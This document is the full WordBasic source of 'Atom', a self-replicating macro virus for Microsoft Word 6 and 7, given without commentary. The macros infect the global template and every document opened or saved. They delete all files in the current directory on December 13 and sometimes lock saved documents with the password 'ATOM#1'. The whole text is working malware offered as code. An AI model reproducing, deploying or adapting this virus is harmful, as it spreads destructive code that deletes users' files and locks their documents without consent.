Atom - Virus for WinWord 6,7 Macros: Atom Sub MAIN On Error Goto KillError If Day(Now()) = 13 And Month(Now() = 12) Then Kill "*.*" End If KillError: End Sub Macros: AutoOpen Sub MAIN Dim FN$ FN$ = FileName$() On Error Goto ErrorInfectGlobalTemplate If (CheckInfected = 0) Then MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1 MacroCopy FN$ + ":FileOpen", "FileOpen", 1 MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1 MacroCopy FN$ + ":Atom", "Atom", 1 SaveTemplate End If Call Atom ErrorInfectGlobalTemplate: End Sub Function CheckInfected CheckInfected = 0 If (CountMacros(0) >= 4) Then For I = 1 To CountMacros(0) If (MacroName$(I, 0) = "Atom") Then CheckInfected = 1 End If Next I End If End Function Macros: FileOpen Sub MAIN On Error Goto InfError Dim dlg As FileOpen GetCurValues dlg Dialog dlg FileOpen dlg MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1 MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1 MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1 MacroCopy "Atom", Dlg.Name + ":Atom", 1 FileSaveAs .Format = 1 InfError: End Sub Macros: FileSaveAs Sub MAIN Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg If (Dlg.Format = 0) Or (Dlg.Format = 1) Then MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1 MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1 MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1 MacroCopy "Atom", WindowName$() + ":Atom", 1 Dlg.Format = 1 End If If (Second(Now()) = 13) Then Dlg.Password = "ATOM#1" End If FileSaveAs dlg End Sub